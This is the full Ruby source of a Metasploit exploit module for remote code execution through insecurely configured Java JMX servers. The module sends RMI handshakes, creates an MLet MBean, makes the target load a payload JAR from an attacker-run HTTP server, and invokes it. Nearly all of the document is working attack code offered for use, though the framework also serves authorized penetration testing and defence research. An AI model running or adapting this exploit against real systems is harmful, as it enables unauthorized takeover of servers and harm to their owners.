Files
metasploit-gs/modules/exploits/multi/misc/java_jmx_server.rb
T
2015-01-18 01:13:00 -06:00

290 lines
9.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Jmx
include Msf::Exploit::Remote::HttpServer
include Msf::Rmi::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
'Description' => %q{
This module takes advantage a Java JMX interface insecure configuration, which would
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
interfaces with authentication enabled will be vulnerable only if a weak configuration
is deployed, allowing to use javax.management.loading.MLet, or having a security manager
allowing to load a ClassLoader MBean.
},
'Author' =>
[
'Braden Thomas', # Attack vector discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Targets' =>
[
[ 'Generic (Java Payload)', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 22 2013'
))
register_options([
Opt::RPORT(1617),
OptString.new('USERNAME', [false, 'Username to use']),
OptString.new('PASSWORD', [false, 'Password to use']),
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def on_request_uri(cli, request)
if request.uri =~ /mlet$/
jar = 'compromise.jar'
mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" "
mlet << "archive=\"#{jar}\" "
mlet << "name=\"MLetCompromise:name=jmxpayload,id=1\" "
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
send_response(cli, mlet,
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
})
elsif request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
["metasploit", "JMXPayloadMBean.class"],
["metasploit", "JMXPayload.class"],
]
jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
send_response(cli, jar.pack,
{
'Content-Type' => 'application/java-archive',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
end
end
def exploit
mbean = get_mbean_server
print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...")
server_sock = connect(false, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] })
send_header(sock: server_sock)
ack = recv_protocol_ack(sock: server_sock)
if ack.nil?
fail_with(Failure::NotFound ,"#{peer} - Filed to negotiate RMI protocol")
end
print_status("#{peer} - Sending handshake / authentication...")
send_call(sock: server_sock, call_data: handshake_stream(mbean[:id].chop))
return_data = recv_return(sock: server_sock)
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to send handshake")
end
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected handshake answer")
end
case answer
when 'java.lang.SecurityException'
fail_with(Failure::NoAccess, "#{peer} - JMX end point requires authentication, but it failed")
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
print_good("#{peer} - Handshake completed, proceeding...")
conn_stub = extract_rmi_connection_stub(return_data.contents[2])
else
fail_with(Failure::Unknown, "#{peer} - Handshake returned unexpected object #{answer}")
end
print_status("#{peer} - Getting JMXPayload instance...")
my_stream = get_object_instance_stream(conn_stub[:id].chop , 'MLetCompromise:name=jmxpayload,id=1')
send_call(sock: server_sock, call_data: my_stream)
return_data = recv_return(sock: server_sock)
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
end
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
end
case answer
when 'javax.management.InstanceNotFoundException'
print_warning("#{peer} - JMXPayload instance not found, trying to load")
load_payload(server_sock, conn_stub)
when 'javax.management.ObjectInstance'
print_good("#{peer} - JMXPayload instance found, using it")
else
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
end
print_status("#{peer} - Executing payload...")
my_stream = invoke_stream(
conn_stub[:id].chop,
'MLetCompromise:name=jmxpayload,id=1',
'run',
{}
)
send_call(sock: server_sock, call_data: my_stream)
disconnect(server_sock)
disconnect
end
def get_mbean_server
print_status("#{peer} - Sending RMI Header...")
connect
send_header
ack = recv_protocol_ack
if ack.nil?
print_error("#{peer} - Filed to negotiate RMI protocol")
disconnect
return
end
vprint_status("#{peer} - Sending JMXRMI discovery call...")
send_call(call_data: discovery_stream)
return_data = recv_return
if return_data.nil?
fail_with("#{peer} - Failed to discover the JMX endpoint")
end
print_status("#{peer} - Extracting MBean Server...")
mbean_server = extract_mbean_server(return_data)
if mbean_server.nil?
fail_with("#{peer} - Failed to extract the JMX MBean server endpoint")
end
mbean_server
end
def load_payload(server_sock, conn_stub)
print_status("Starting service...")
start_service
print_status("#{peer} - Creating javax.management.loading.MLet MBean...")
send_call(sock: server_sock, call_data: create_mbean_stream(conn_stub[:id].chop, 'javax.management.loading.MLet'))
return_data = recv_return(sock: server_sock)
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected createMBean answer")
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
print_good("#{peer} - javax.management.loading.MLet already exists")
when 'javax.management.ObjectInstance'
print_good("#{peer} - javax.management.loading.MLet created")
when 'java.lang.SecurityException'
fail_with(Failure::NoAccess, "#{peer} - The provided user hasn't enough privileges")
else
fail_with(Failure::Unknown, "#{peer} - createMBean returned unexpected object #{answer}")
end
print_status("#{peer} - Getting javax.management.loading.MLet instance...")
my_stream = get_object_instance_stream(conn_stub[:id].chop , 'DefaultDomain:type=MLet')
send_call(sock: server_sock, call_data: my_stream)
return_data = recv_return(sock: server_sock)
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed")
end
answer = extract_object(return_data, 1)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer")
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
print_good("#{peer} - javax.management.loading.MLet already found")
when 'javax.management.ObjectInstance'
print_good("#{peer} - javax.management.loading.MLet instance created")
else
fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}")
end
print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
my_stream = invoke_stream(
conn_stub[:id].chop,
'DefaultDomain:type=MLet',
'getMBeansFromURL',
{ 'java.lang.String' => "#{get_uri}/mlet" }
)
send_call(sock: server_sock, call_data: my_stream)
return_data = recv_return(sock: server_sock)
if return_data.nil?
fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed")
end
answer = extract_object(return_data, 3)
if answer.nil?
fail_with(Failure::Unknown, "#{peer} - Unexpected getMBeansFromURL answer")
end
case answer
when 'javax.management.InstanceAlreadyExistsException'
print_good("#{peer} - The remote payload was already loaded... okey, using it!")
when 'javax.management.ObjectInstance'
print_good("#{peer} - The remote payload has been loaded!")
else
fail_with(Failure::Unknown, "#{peer} - getMBeansFromURL returned unexpected object #{answer}")
end
print_status("Stopping service...")
stop_service
end
end